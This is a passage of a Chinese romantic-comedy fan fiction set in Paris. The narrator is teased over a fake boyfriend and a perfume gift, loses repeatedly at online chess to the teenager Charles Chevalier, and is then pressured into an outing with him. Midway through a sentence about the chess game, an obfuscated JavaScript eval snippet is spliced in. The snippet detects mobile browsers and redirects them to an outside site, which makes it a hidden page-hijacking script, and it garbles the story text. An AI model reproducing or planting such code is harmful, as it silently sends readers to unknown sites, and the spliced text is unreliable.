“邦尼·伊格莱西亚斯?”我爸摸着下巴思索了一下,忽然一拍大腿,“哦!我想起来了!是不是那个总笑嘻嘻的、左眼下边有个十字疤的小子?白头发,个子挺高那个?” “清田你认识?”大胡子叔叔惊讶道。 “见过几次!那小子球风挺贼的,脑子好用,就是有时候说出来的话让人摸不着头脑,感觉神经兮兮的……”我爸说到一半,似乎意识到失言,赶紧找补,“咳咳,当然,年轻人有个性很正常!对你好就行!” 神经兮兮……爸你形容得可真精准…… “对啊姐姐!”夏尔唯恐天下不乱地插嘴,笑嘻嘻地凑近,“他对你好不好嘛?有没有送你很特别的礼物?比如……嗯?”他意有所指地眨眨眼,目光瞟向旁边的洛基。 洛基:“……”他默默移开了视线,端起杯子喝了口水。 我被他问得头皮发麻,特别礼物?儿童果汁算吗?这话能说吗?! “还、还行吧……”我含糊其辞,试图蒙混过关。 “怎么个好法?具体说说嘛!”夏尔显然不打算放过我,步步紧逼,“他会不会像洛基那样,收到姐姐送的礼物就脸红啊?” 洛基猛地咳嗽起来,似乎被水呛到了,古铜色的脸颊上泛起一丝不易察觉的红晕,眼神略带警告地瞥了夏尔一眼。 大胡子叔叔和我爸的注意力立刻被转移了,两双好奇的眼睛又“唰”地一下投向洛基。 “哦?洛基也收到小爱的礼物了?”大胡子叔叔眼睛一亮,“什么礼物?快拿出来看看!” 洛基的身体几不可查地僵了一下。 我瞬间想起法国人送异性香水的含义,心里咯噔一下!完了!当时只想着道歉和感谢,完全忘了这茬!这下误会大了! 夏尔这个唯恐天下不乱的家伙,立刻抢答:“是香水哦!姐姐特意挑的!味道可好闻了!是吧洛基?”他笑得像只偷腥的猫。 洛基在四道灼热目光的注视下,沉默了几秒,最终还是从口袋里拿出了那个细长的礼物盒,声音听起来比平时低沉了些:“……是的。一份很……用心的礼物。” 大胡子叔叔接过盒子,打开一看,脸上的表情瞬间变得无比精彩,他看看香水,又看看我,再看看表情有些不自然的洛基,猛地爆发出惊天动地的大笑:“哈哈哈哈!香水!小爱!你可以啊!没想到你看起来乖乖巧巧的,出手这么大胆直接!这就展开追求了?” 我爸也愣住了,看看洛基,又看看我,表情古怪:“宝贝闺女……你这……同时进行两个?这、这不太好吧?虽然爸爸很开明,但这也太……” 我不是!我没有!别瞎说啊! 我的脸颊彻底红透了,百口莫辩,恨不得当场消失! “不是你们想的那样!”我急得直跺脚,“那就是感谢礼物!单纯的感谢!因为洛基先生之前很耐心地指导我踢球!没有别的意思!” “哦——指导踢球啊——”夏尔拖长了语调,语气暧昧,“确实很‘深入’、很‘耐心’呢~” 洛基:“……”他看起来很想把夏尔的嘴缝上。 “咳咳,”大胡子叔叔止住笑,努力做出严肃的表情,但眼里的笑意根本藏不住,“好了好了,希瓦利埃,你别再捣乱了。小爱啊,叔叔是过来人,感情这种事呢,要专一,不能脚踏两条船,就算对方是洛基和那个邦尼这样的好小伙也不行,知道吗?” 我:“……”我已经放弃解释了。 “不过话说回来,”大胡子叔叔摸着下巴,又看向洛基,语气带着点调侃,“洛基,收到这么‘特别’的礼物,感觉怎么样?有什么想法没?” 洛基深吸一口气,抬起眼,那双金色的眼眸看向我,里面的情绪有些复杂,他沉默了片刻,才缓缓开口,声音恢复了一贯的沉稳:“很感谢清田小姐的礼物。我会……慎重使用的。” 慎重使用……这四个字怎么听起来这么奇怪啊! 我感觉我的社交生命在今天已经彻底宣告死亡。 幸好,我爸的手机铃声适时响了起来,暂时缓解了这令人窒息的尴尬。他接起电话“喂”了两声,然后对我们说:“诺亚那边催了,走吧走吧,聚餐快迟到了!” 大胡子叔叔意犹未尽地拍拍我的肩膀:“行,今天先到这!小爱,感情问题我们下次再深入探讨!哈哈哈!” 一群人终于吵吵嚷嚷地涌出了房间。我落在最后面,感觉像是刚从水里捞出来一样,浑身脱力。 夏尔经过我身边时,故意放缓脚步,凑到我耳边,用气声笑嘻嘻地说:“姐姐~放心,我会帮你保密的~绝对不会告诉那个十字疤‘男朋友’,你送了洛基‘定情信物’哦~” 说完,他就大笑着蹦蹦跳跳地追上前面的队伍了。 我僵在原地,看着他们远去的背影,只觉得眼前一黑。 这日子,真是没法过了! 凯撒!邦尼!还有夏尔·希瓦利埃!我跟你们没完! 55. 小三 我本人正沉浸在风评被害的巨大打击中,灵魂出窍般飘回自己的房间,反手锁上门,一头栽进柔软的大床里,把发烫的脸深深埋进枕头。 上帝啊,让我消失吧,就现在。 什么叫“脚踏两条船”?什么叫“大胆直接的追求”?什么叫“定情信物”?大胡子叔叔和老爸那挤眉弄眼的表情,还有夏尔那唯恐天下不乱的“保密”,像循环播放的噩梦一样在我脑海里盘旋。我清田爱十七年清白的名声,就在这短短一天内,彻底毁于一旦,渣都不剩! 最关键的是,我根本无从解释!难道要我说“对不起各位,那位邦尼是凯撒找来冒充我男朋友以应对夏尔骚扰的神经病,而送洛基香水纯粹是因为我不知道这在法国等于追求”吗?谁会信啊!而且一旦扯出凯撒,事情绝对会朝着更核爆的方向发展! 生无可恋。我现在就是生无可恋本人。 我在床上烦躁地翻滚,像一条被扔上岸濒死的鱼,感觉胸口憋闷得快要爆炸。晚餐时间老爸来敲门喊我出去聚餐,我隔着门板有气无力地喊了声“不饿,想睡觉”就把他打发了。现在出去面对那几张写满八卦和误解的脸?不如让我直接跳塞纳河来得痛快。 最终,我还是没出息地点了酒店客房服务,叫了一份最简单的三明治和沙拉。食物送来了,我却食不知味,机械地咀嚼着,味同嚼蜡。脑子里还在反复回放今天的社死瞬间,每一帧都让我脚趾抠地,恨不得穿越回去掐死那个决定送香水的自己,或者干脆掐死导致这一切的罪魁祸首——米歇尔·凯撒! 就在我对着吃了一半的三明治长吁短叹,感叹命运多舛之时,扔在床角的手机突然“叮”地响了一声,屏幕随之亮起。 不是群消息的疯狂刷屏(那个“病友交流群”我早就设了免打扰),而是一条新的好友申请提示。 我的心脏下意识地一紧,生怕又是哪个“病友”作妖。小心翼翼地拿起来一看—— 申请人的头像是一个色彩缤纷、看起来就很甜的马卡龙,背景虚化,拍得相当有食欲。昵称只有一个简单的:“天邪鬼”。 备注信息更是言简意赅到令人发指:【姐姐~通过一下嘛~】 我:“………” 我用我快要被这群足球天才折磨得神经衰弱的脑子思考了足足两秒钟,就精准锁定了这枚“马卡龙”的身份——除了夏尔·希瓦利埃那个小恶魔,还能有谁?! 他怎么搞到我联系方式的?!哦,对了,肯定是从大胡子叔叔或者我爸那儿软磨硬泡来的!这家伙简直无孔不入! 通过?通过个鬼!我现在最不想见到的就是他了!要不是他今天在那边煽风点火、添油加醋,我的处境也不至于惨烈到这个地步! 我果断地、带着一丝泄愤的意味,按下了“拒绝”按钮,然后把手机扔回床角,仿佛那是什么烫手山芋。 世界清静了……才怪。 几乎就在手机接触到床单的瞬间,“叮”的一声,新的好友申请又弹了出来!还是那个马卡龙头像,还是那个昵称,备注信息却变了:【姐姐好狠心~TAT】 我:“……” 不理他。坚决不理他。这种时候谁先搭理他谁就输了! 我重新躺下,用被子蒙住头,试图物理隔绝外界干扰。 “叮!” 又来了! 【姐姐不理我,我就去告诉十字疤小哥你送洛基香水的事了哦~?】 !!!他竟然还敢威胁我?! 我猛地坐起来,气得头发都要竖起来了!抓起手机,再次用力按下“拒绝”!这个小混蛋! “叮!” 阴魂不散! 【或者告诉洛基,其实你更喜欢十字疤小哥那种类型?】 我:“……” “叮!” 【再或者,把‘定情信物’的事情群发给我认识的每一个人?】 “叮!” 【姐姐~你说选哪个比较好玩呢?(?ω?)】 我绝望地看着屏幕上接二连三蹦出来的好友申请,每一条备注都像是一把小刀子,精准地戳在我的死穴上。夏尔·希瓦利埃,你根本不是天邪鬼,你是恶鬼!魔鬼!撒旦本人! 我算是看明白了,今天要是不通过他,他能用这种信息轰炸我一晚上,而且绝对说得出做得到! 屈服了。我真的屈服了。在这种妖孽面前,我的抵抗不堪一击。 我带着满腔的悲愤和屈辱,颤抖着手,按下了那个绿色的“接受”按钮。 几乎就在通过的零点一秒内,那边的消息就噼里啪啦地砸了过来。 【天邪鬼:哇!姐姐终于通过啦!我就知道姐姐最好了!(* ̄3 ̄)╭】 【天邪鬼:姐姐姐姐!在干嘛呢?晚饭吃的什么?有没有想我?】 【天邪鬼:洛基回去之后好像一直在发呆哦~对着那瓶香水看了好久呢!姐姐你的魅力真大!】 【天邪鬼:十字疤小哥有没有再联系你呀?他知不知道他差点被‘绿’了?】 我看着这刷屏般的消息,只觉得太阳穴突突地跳,眼前一阵发黑。我强忍着立刻把他拉黑的冲动,手指飞快点开他的资料页,找到“消息免打扰”的选项,狠狠戳了下去! 世界再次清静了。 虽然手机不会再疯狂震动,但我知道,那个马卡龙头像后面,一定有一个笑得像狐狸一样的小恶魔,正得意于自己的胜利。这种明明被骚扰了却还得忍着不能发作的感觉,真是太憋屈了! 不行。不能再这样下去了。 夏尔这边暂时“解决”了(虽然是以一种屈辱的方式),但另一个误会必须澄清!渣女之名我可以暂时背着,但“追求洛基”这个误会必须解开!一想到洛基可能真的误会了我送香水的意图,我就尴尬得浑身蚂蚁爬! 可是……怎么解释? 直接跑去找他?“洛基先生对不起我送您香水不是想追求您只是单纯感谢而且我不知道这在法国等于追求”?——太刻意了!万一他本来没多想,被我这么一解释反而坐实了误会怎么办?或者他觉得我欲盖弥彰怎么办? 发消息?对,发消息好像更自然一点,可以斟酌语气。 我点开和洛基的聊天界面,手指悬在屏幕上方,删删改改,纠结得眉头都快打结了。 【我:洛基先生,您睡了吗?】——太生硬了,像要干嘛一样。 【我:关于今天的礼物……】——不行,直奔主题更奇怪。 【我:今天天气真好……】——好个鬼!巴黎晚上哪来的天气! 啊啊啊!怎么开口都不对! 我烦躁地抓了抓头发,最后心一横,破罐子破摔地打字: 【我:洛基先生,抱歉这么晚打扰您。关于今天送的礼物,我可能犯了文化差异上的错误,如果造成了任何误解,我非常抱歉。那真的只是一份感谢您指导的礼物,绝无他意。[跪了.jpg]】 检查了一遍,感觉语气还算诚恳,既道了歉,又点明了是“文化差异”,应该……不会太尴尬吧? 深吸一口气,我按下了发送键。 然后,就是焦灼的等待。每一秒都变得格外漫长。他会怎么回?会觉得我莫名其妙吗?还是…… 手机屏幕很快亮了起来。 【洛基:还没睡。没关系,我明白。】 他明白了?他明白什么了?是明白那是感谢礼物,还是明白我在为“追求”他而道歉? 这模棱两可的回答让我更焦虑了。不行,必须把话说清楚!否则我今晚别想睡了! 【我:您明白就好!我真的真的只是表示感谢!绝对没有其他任何意思!请您千万不要误会!也请您……千万不要告诉别人这个误会!拜托了!(;′⌒`)】 这次我豁出去了,说得无比直白,甚至带上了恳求。要是被大胡子叔叔、我爸,尤其是夏尔那个大嘴巴知道我去特意澄清,我就真的没脸见人了!之前的“渣女”人设白扛了!罪也白受了! 消息发出去后,那边沉默了一会儿。我的心也提到了嗓子眼。 终于,他的回复过来了。 【洛基:好的,我保证不会告诉其他人。】 【洛基:也谢谢你特意解释。礼物我很喜欢,会妥善使用的。】 看到“保证不会告诉其他人”这几个字,我高高悬起的心终于“咚”地一声落回了肚子里,长长地、彻底地舒了一口气。得救了……至少在一个知情人这里,我的清白保住了! 虽然“妥善使用”这个词还是有点微妙,但既然他保证了保密,那应该就是真的理解了吧? 解决了心头一大患,强烈的疲惫感瞬间席卷而来。今天一天实在经历了太多,情绪大起大落,此刻放松下来,只觉得眼皮有千斤重。 我把手机扔到床头柜上,关掉灯,把自己重新埋进被子里。黑暗中,感官变得格外清晰,窗外的巴黎夜雨似乎又淅淅沥沥地下了起来,敲打着玻璃,发出细碎的声响。 意识渐渐模糊,就在我即将沉入梦乡的边缘,一个念头像幽灵般飘过脑海—— 等等……洛基他……到底是怎么“明白”的?他是一开始就明白那只是感谢礼物,还是在我解释之后才明白的? 如果是后者……那他之前岂不是真的…… 我的呼吸猛地一窒,刚刚袭来的睡意瞬间被这个可怕的想法惊飞了一半。 不会的不会的!他那么聪明冷静,肯定早就知道文化差异了!一定是的! 我拼命自我安慰着,强迫自己停止胡思乱想。 睡觉睡觉!明天又是……好吧,明天大概率还是鸡飞狗跳的一天。 但至少,今晚的清白危机,暂时解除了。 带着这份微不足道的安慰,和对明天更深的忧虑,我终于扛不住沉重的眼皮,陷入了混乱的、充满马卡龙、香水和十字疤的梦境里。 *** 第二天早上,我迷迷糊糊地伸手摸过床头柜上的手机,眼睛勉强睁开一条缝,刺眼的屏幕光让我瞬间清醒了不少。 解锁屏幕,一连串的消息提示弹了出来,全部来自那个阴魂不散的“天邪鬼”。 【天邪鬼:姐姐~早安!巴黎的太阳晒屁股啦!(≧▽≦)】 【天邪鬼:还没醒吗?懒猪姐姐~】 【天邪鬼:再不起来我就要去敲你的门了哦?顺便告诉隔壁的清田叔叔一个关于他宝贝女儿的、小小的、关于‘男朋友’的……秘密?】 【天邪鬼:好吧,看来姐姐真的睡得很沉呢。】 【天邪鬼:(发送了一张酒店外街道的照片)】 【天邪鬼:我已经在吃早餐啦!这家可颂超棒!可惜某人吃不到~】 【天邪鬼:……】 【天邪鬼:唉,好无聊。姐姐,你再不理我,我真的要开始我的‘广播体操’计划了哦?第一站就从大胡子教练的办公室开始怎么样?】 【天邪鬼:我是说真的,再不理我我就把你的男朋友是假的这件事说出来哦(?? ? ?)】。 我一目十行地扫过这些消息,越看心越沉,尤其是最后那条—— 我的心脏猛地一跳,瞬间彻底清醒,从床上弹坐起来。 他怎么知道的?!这件事除了我和那个神经病邦尼,以及远在德国的凯撒和内斯,应该没人知道才对!我爸和大胡子叔叔他们都深信不疑!夏尔是怎么看穿的?他早就知道了?! 震惊和慌乱瞬间攫住了我。我手指颤抖着,几乎握不住手机,连忙打字回复。 【我:你怎么知道的?!谁告诉你的?!】 消息刚发出去,那边几乎秒回。 【天邪鬼:哇!姐姐你终于醒啦!(^o^)/~】 【天邪鬼:怎么知道的?当然是用这里啊~】后面跟了一个用手指点太阳穴的俏皮表情。 【天邪鬼:那种漏洞百出的谎言,也就骗骗大胡子叔叔和清田叔叔那种肌肉长进脑子里的老古董啦!稍微动动脑子就能想明白了吧?】 【天邪鬼:先不提你们之间的互动就可以瞬间让我认定你俩不认识了,就算那家伙不知道在法国送异性香水的含义,洛基的反应他总看见了吧?女朋友在面前勾搭别的男人耶!】 【天邪鬼:可是他偏偏毫不在意,而你们,也不像非常恩爱、非常信任对方的类型,那么,真相就呼之欲出了吧?】 【天邪鬼:另外,姐姐你眼光再怎么差,也不至于看上那种类型的男人吧?虽然块头是挺大的,但是脸都毁容了耶!左眼下那么丑一道疤,看着就好痛!姐姐你是死缠烂打就能追到的类型吗?眼光怎么会这么差呢?】 他语气里的理所当然和毫不掩饰的嫌弃,让我一时之间竟然不知道是该先反驳他对我爸妈的“污蔑”,还是该先纠正他对邦尼外貌的攻击,或者干脆否认自己“眼光差”和“死缠烂打”? 这家伙的思维跳跃得太快,嘴巴又毒,跟他对话简直像在雷区蹦迪! 但我抓住了一个重点——他确实不相信邦尼是我男朋友,而且似乎觉得我的“品味”奇差无比,虽然最后一句显然是逗我。 我深吸一口气,努力让自己冷静下来。既然被他抓住了把柄,当务之急是封住他的嘴。 【我:……说吧,你要怎么样才肯保密?】 那边显示“正在输入中”了好一会儿,然后发来了一长串完全偏离主题的东西。 【天邪鬼:嗯……今天的云看起来像棉花糖!】 【天邪鬼:姐姐你喜欢小狗还是小猫?我都喜欢哦!毛茸茸的多可爱!】 【天邪鬼:啊!训练时间好像快到了!好麻烦……不想去……】 【天邪鬼:对了姐姐,你昨天送的马卡龙很好吃哦!就是有点太甜了,下次可以试试黑巧克力味的?】 【天邪鬼:大胡子叔叔今天好像换了个牌子的发胶?头发看起来更亮了……】 我看着这堆东拉西扯、毫无逻辑的废话,额角青筋直跳。他绝对是在故意逗我玩!享受这种把我耍得团团转的感觉! 我强忍着怒火,发过去六个点:【……】 似乎是我的无语取悦了他,夏尔终于停止了发散思维,发来了一个链接。 【天邪鬼:这样吧姐姐~我们玩个游戏!你要是能赢我,我就帮你保守秘密,怎么样?绝对不告诉任何人~包括洛基哦!(▽*)】 游戏?我点开那个链接,是一个在线国际象棋的对战平台界面。头像和昵称都已经设置好了,头像是一个龇牙笑的柴郡猫,昵称赫然是“天邪鬼”。 国际象棋?我倒是会一点基础规则,以前陪玲王玩过,但水平也就是入门级别,纯粹是打发时间。夏尔突然提出这个……他水平怎么样? 还没等我细想,他的消息又跟了过来。 【天邪鬼:怎么样?很简单吧?只要赢我一局就行!很公平吧?】 公平?我怎么觉得这是个陷阱?但眼下似乎也没有更好的选择。总不能真的让他去到处广播吧?那我才真是社会性死亡了。 硬着头皮也得上了。 【我:……好。怎么开始?】 【天邪鬼:姐姐你注册一下,然后加我好友~房间我已经开好啦!等你哦!(~ ̄▽ ̄)~】 我按照提示快速注册了一个账号,名字随手打了个“Ai”,头像系统默认。然后搜索“天邪鬼”发送了好友申请。 申请几乎瞬间就被通过了。紧接着,一个对战邀请就弹了出来。 我深吸一口气,点击接受。 棋盘界面加载出来,我执白先行。看着屏幕上纵横交错的格子,我努力回想那点可怜的棋艺知识。第一步,保守起见,走了王前兵(e4)。 夏尔那边几乎没有任何犹豫,立刻走了C5——西西里防御。这是一种非常常见但也充满复杂变化的开局,攻击性很强。 我的心往下沉了沉,这家伙……好像很熟练? 接下来的几步,我走得小心翼翼,试图稳住阵型,慢慢调动子力。而夏尔的行棋速度极快,仿佛不需要思考,每一步都带着一种闲庭信步般的随意,但又精准地压迫着我的空间。 很快,我就感觉到了压力。他的马和象配合默契,不断骚扰我的侧翼,而我只能被动防守,子力被压缩得很难受。 【天邪鬼:姐姐~思考太久会变老的哦!(?▽`)】 屏幕上还飘过他调侃的消息。 我咬紧嘴唇,努力寻找破局的机会。终于,我发现了一个似乎可以交换子力的机会,如果能用我的车换掉他的象和一个兵,似乎不亏? 我移动了我的车。 然而,就在我按下确认键的下一秒,夏尔突然走了一步我完全没想到的棋——他的后如同鬼魅般斜杀出来,直接威胁我的王! 完了!这是个陷阱!我刚才光顾着计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251855|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算子力价值,完全忽略了王翼的防守空虚! 我手忙脚乱地试图调动子力回防,但已经来不及了。夏尔的攻势如同潮水般涌来,几步之后,我的王就被将死了。 屏幕弹出了“Checkmate!黑方胜利!”的提示。 我呆呆地看着屏幕,第一局,就这么干脆利落地输了?前后可能都不到十分钟。 【天邪鬼:承让啦姐姐~!第一局!还要继续吗?说好的赢我一局哦!(^_~)☆】 不甘心。怎么可能甘心! 【我:再来!】 第二局开始。这次我选择了更稳妥的后翼弃兵开局(d4)。夏尔依旧应对迅速,走了Nf6。 我吸取上一局的教训,更加注重王的安全和局面的平衡。中盘阶段,我甚至觉得自己的形势还不错,似乎有机会。 但就在我思考如何扩大优势时,夏尔突然走了一步非常规的棋,用一个小兵深入我的腹地。这步棋看起来像是送死,我下意识地吃掉了它。 结果,这又是一个精心设计的陷阱!吃掉那个兵之后,我的象暴露在了对方车的火力之下,而且阵型出现了致命的弱点! 夏尔再次展现了他凌厉的攻势,车马后配合,一波带走了比赛。 又输了。 【天邪鬼:啊啦~姐姐好像又不小心了呢!没关系,失败是成功之母!我们还有的是时间!(o?v?)ノ】 他的语气轻松得仿佛不是在比赛,而是在玩什么休闲小游戏。 第三局,第四局……无论我选择什么样的开局,无论我如何小心谨慎,最终总会掉入夏尔设置的陷阱,或者在中盘搏杀中因为算力不足而败下阵来。他就像个经验丰富的猎人,布下一个个精巧的圈套,悠闲地看着我这只菜鸟惊慌失措地撞进去。 他行棋极快,甚至还有空在聊天框里时不时发个表情包,或者调侃我两句。 【天邪鬼:姐姐,你这步棋是想萌死我吗?(●ˇ?ˇ●)】 【天邪鬼:哇!这步有点意思!可惜还是被我看穿啦!】 【天邪鬼:要不要我让你一个车呀?~】 而我则被他逼得额头冒汗,手指冰凉,全身心地投入到棋局中,却依旧节节败退。那种无力感和挫败感越来越强。 不知道第多少局,我再一次被将死。看着屏幕上冰冷的失败提示,一股巨大的沮丧和委屈涌上心头。明知道他在逗我玩,明知道这可能根本就是个不可能完成的任务,我却毫无办法。 我瘫在椅子上,感觉比爬了一天的山还要累。 手机又震动了一下。 【天邪鬼:姐姐~还继续吗?你好像一局都没赢过耶?这样下去,秘密可就要保不住了哦~( ̄︶ ̄)↗】 我看着那条消息,气得牙痒痒,却又无可奈何。 这个夏尔·希瓦利埃,简直就是我的克星!从足球到棋局,再到这种心理博弈,我完全被他玩弄于股掌之间! 而最让我绝望的是,我似乎……真的拿他一点办法都没有。 【我:……你到底想怎么样?】 我几乎是瘫在椅子上发出这条消息的,感觉全身的力气都被抽空了,连指尖都在发麻。手机屏幕的光刺得眼睛发酸,棋盘上那个嚣张的“Checkmate”提示像是对我无情的嘲讽。输了,一败涂地,连一局都没有赢过。在这个十四岁的少年面前,我的那点棋艺和心思,简直幼稚得可笑。 他根本就是在玩我。从一开始就知道那个“男朋友”是假的,却偏偏要绕这么大一个圈子,用这种猫捉老鼠的方式,看着我徒劳地挣扎,最后再轻松地捏住我的死穴。 夏尔·希瓦利埃……这个人真的太可怕了。 手机很快又震动起来,屏幕上跳出的字句让我心脏骤停。 【天邪鬼:嗯~其实很简单啦姐姐~】 【天邪鬼:你也不想让其他人知道你骗人吧?尤其是大胡子叔叔和清田叔叔,他们好像真的很为你高兴呢~还有洛基,他要是知道会不会很失望?很愤怒?毕竟你完全是在耍他呢。】 【天邪鬼:所以,封口费就是——】 他故意停顿了一下,像是在欣赏我此刻的煎熬。 【天邪鬼:让我也加入你们吧!】 加入?加入什么?我盯着那行字,一时没反应过来。 紧接着,下一句话跳了出来,像一颗炸雷在我脑海里轰开。 【天邪鬼:既然姐姐可以同时有‘十字疤男朋友’和‘黑皮追求者’,那再多一个我这样可爱又贴心的‘小三’,也没什么关系吧?(????)】 小、小三?! 我的眼睛猛地睁大,难以置信地看着屏幕上那个词。血液“嗡”地一下全冲上了头顶,脸颊瞬间爆红,然后是气得发白!他、他到底在胡说八道什么?!谁要他当小三了!这都什么跟什么啊! 巨大的荒谬感和无力感像潮水一样将我淹没。我失去了所有力气和手段,瘫在椅子里,连生气的力气都快没有了。该死的,如果他提出的要求是这种离谱到极致、根本不可能答应的条件,那我…… 一个破罐破破摔的念头猛地钻了出来。 算了。 我干嘛要这么辛苦地瞒着?夏尔已经知道了真相,谎言对于需要隐瞒的对象已经无效了,那这个谎言本身还有什么意义?继续遮遮掩掩,只会被他用这个把柄无限拿捏,提出更多更过分的要求。 这么一想,感觉自己之前绞尽脑汁圆谎、甚至被迫接受那个神经病邦尼的存在……真的好蠢啊。简直就是自作自受。 虽然……对洛基有点抱歉。如果真相大白,他可能会尴尬吧?毕竟我送香水的举动被赋予了完全错误的解读。但长痛不如短痛,现在解释清楚,总比一直误会下去,将来某天以更惨烈的方式爆发要好。 就在我深吸一口气,准备打字告诉夏尔“随你的便,我现在就去跟大家坦白”的时候,他的消息又快一步地涌了进来,根本不给我任何反击的机会。 【天邪鬼:啊!看到姐姐已读了!】 【天邪鬼:不说话就是默认了哦!】 【天邪鬼:太好啦!那就这么说定了!】 【天邪鬼:我马上就来接你哦!“小三”的职责之一就是要随时陪在“女朋友”身边嘛!等着我!(~ ̄▽ ̄)~】 我看着他自说自话地敲定一切,甚至单方面宣布“默认”,然后直接跳到了“来接你”这一步,整个人都懵了。 等等!我还没答应!谁默认了?! 我手指颤抖着想反驳,想拒绝,想告诉他我宁愿去坦白一切! 但是字还没打完,他的下一条消息已经弹了出来,带着不容置疑的终结意味。 【天邪鬼:到楼下了!姐姐快下来吧!不然我就上去敲门了哦?你知道我做得出来的~!】 我看着那条消息,又猛地扭头看向窗外——酒店楼下,那个金白挑染的脑袋果然出现在了街角!他甚至抬起头,精准地找到了我窗户的方向,对着这边用力地挥了挥手,脸上是那种灿烂到欠揍的笑容! 上帝啊! 我像是被烫到一样猛地从椅子上弹起来,心脏狂跳。他真的来了!这个行动力恐怖的家伙! 下去?不下去? 下去就是默认接受他那套荒谬的“小三”理论,从此陷入更深的泥潭。 不下去?他绝对会真的上来敲门,甚至嚷嚷得全世界都知道!到时候更难收场! 绝望的情绪像冰冷的藤蔓缠绕住心脏。我感觉自己就像被他用无形的线操控的木偶,每一步都被算得死死的,根本无处可逃。 手机又震动了一下。 【天邪鬼:看到姐姐啦!穿着睡衣也很可爱呢!快点换衣服哦!我给你带了超~好喝的热巧克力!三分钟不上来我就真上去了哦!(??????)??】 他甚至看到了我穿着睡衣! 完了。 我认命地闭上眼,深吸一口气,再睁开时,眼里只剩下麻木。 行吧。夏尔·希瓦利埃,你赢了。 我咬牙切齿地敲下一个字。 【我:……等。】 然后认命地扔下手机,像个奔赴刑场的犯人一样,机械地开始换衣服。 巴黎的天空明明很蓝,阳光明媚,可我只觉得前路一片黑暗。 这个“小三”的闹剧,到底该怎么收场啊…… 56. 先雨后晴 不就是陪小孩玩吗? 我深吸一口气,努力把这句自我安慰的话在脑子里循环播放了几遍,像是要给自己洗脑一样。换上一身最简单的T恤牛仔裤,我几乎是视死如归地下了楼。 果然,夏尔·希瓦利埃正懒洋洋地靠在一辆亮黄色的共享单车旁,手里果然拿着两杯印着可爱logo的热饮。看到我,他立刻扬起那个招牌式的灿烂笑容,露出一颗尖尖的小虎牙,三步并作两步就蹿了上来,极其自然地将其中一杯塞进我手里。 “姐姐~早上好!给你的!超~好喝的热巧克力,加了双倍棉花糖!”他的声音清亮又带着点撒娇的尾音,仿佛我们真的是约好出来玩的好友,而不是被迫的“绑匪”与“人质”。 杯子温热,甜腻的香气丝丝缕缕地飘出来。我低头看了看,奶油顶上果然堆满了蓬松的棉花糖,还撒着彩色的糖针,幼稚得令人发指。 “……谢谢。”我干巴巴地道谢,实在没什么心情享受这“甜蜜的贿赂”。 “不客气~”夏尔笑眯眯地吸了一口自己那杯,然后毫无预兆地,一把抓住了我的手腕!“那我们就出发吧!GO!GO!GO!” 话音未落,他就拽着我,像一阵风似的冲向了街道! “喂!你慢点!”我猝不及防,差点把手里的热巧克力泼出来,只能手忙脚乱地跟上他的脚步。 这家伙的精力简直无穷无尽!而且好奇心旺盛到可怕!或者说,他根本就是故意在找茬! 看到路边卖可丽饼的小摊,他要挤过去盯着人家怎么做,还要评头论足“奶油挤歪了”;看到橱窗里造型奇特的雕塑,他要趴在上面研究半天,嘴里嘀咕着“这玩意真的有人买吗”;看到街头艺人表演,他不仅能准确地在人家表演到高潮时发出不合时宜的大笑,甚至还想上手去摸人家的乐器! 我就像个被牵了条哈士奇在闹市区散步的可怜主人,根本不是在“逛”,而是在被他拽着进行一场毫无章法的“冲锋陷阵”!唯一值得庆幸的是,这段时间被老爸和某个混蛋老师轮流操练,我的体能确实上升了不少,要不然早就累瘫在巴黎街头了。 一路鸡飞狗跳,引来无数路人侧目。夏尔却完全不在意,依旧兴致勃勃,东摸摸西看看,嘴里叭叭地说个不停,仿佛有永远用不完的活力。 “姐姐你看那个路灯!像不像一根巨大的法棍?” “哇!那只狗狗的毛色好奇怪!像烤焦了的可颂!” “诶?那家店的招牌怎么念?我们去看看!” 我被他吵得头昏脑涨,只能一脸生无可恋地被他拖着走,心里把那句“不就是陪小孩玩吗”反复咀嚼,品出的全是苦涩和无奈。这哪是陪玩?这分明是极限生存挑战! 就在我被拽着差点撞上一个穿着玩偶服发传单的人时,身后突然传来一个熟悉又令人头皮发麻的、带着西班牙口音的、含笑声线。 “哎呀呀,看来我找到你们了。真是……令人印象深刻的行进方式呢,两位。” 我的身体瞬间僵住,猛地回头—— 只见邦尼·伊格莱西亚斯正站在不远处的街角,他今天换了一身休闲的白色衬衫和卡其色长裤,衬得他高大的身材更加挺拔。脸上依旧挂着那副仿佛焊上去的、和蔼可亲的笑容,左眼下的十字疤在阳光下清晰可见。他双手插在裤袋里,姿态悠闲,仿佛只是偶然路过。 他怎么会在这里?! 夏尔也停下了脚步,松开我的手腕,转过身,金色的眼睛微微眯起,打量着邦尼,脸上依旧带着笑,但那份笑意里多了几分毫不掩饰的审视和玩味:“哦呀?这不是十字疤小哥吗?鼻子真灵啊,这都能被你找到?” 邦尼笑眯眯地走上前,目光在我们俩之间转了转,最后落在我手里那杯几乎没动过的、插着两根吸管(夏尔非要尝一口我的然后又塞回给我)的热巧克力上,眼神里的玩味加深了些。 “说起来还要感谢你呢,希瓦利埃君。”邦尼语气轻松,仿佛在聊今天天气真好,“我问了好几家店,描述了一下‘一个金白头发、笑容异常灿烂、活力过头像得了多动症、还拽着一个生无可恋的亚洲女孩的青少年’,店员们的印象都深刻得不得了呢,指路指得异常顺利。托你的福,省了我不少找人的麻烦。” 我的脸颊瞬间爆红,一半是尴尬,一半是羞愤!生无可恋的亚洲女孩?!这家伙的形容还能再损一点吗?! 夏尔却像是听到了什么绝妙的夸奖,哈哈大笑起来,甚至得意地拍了拍手:“哇哦!原来我这么有辨识度吗?谢谢夸奖!不过十字疤小哥,你找我女朋友有什么事吗?当着‘小三’的面纠缠别人的女朋友,可不是绅士行为哦?”他故意把“女朋友”和“小三”这两个词咬得格外清晰,还对我抛了个媚眼。 我:“!!!”救命!他又开始了! 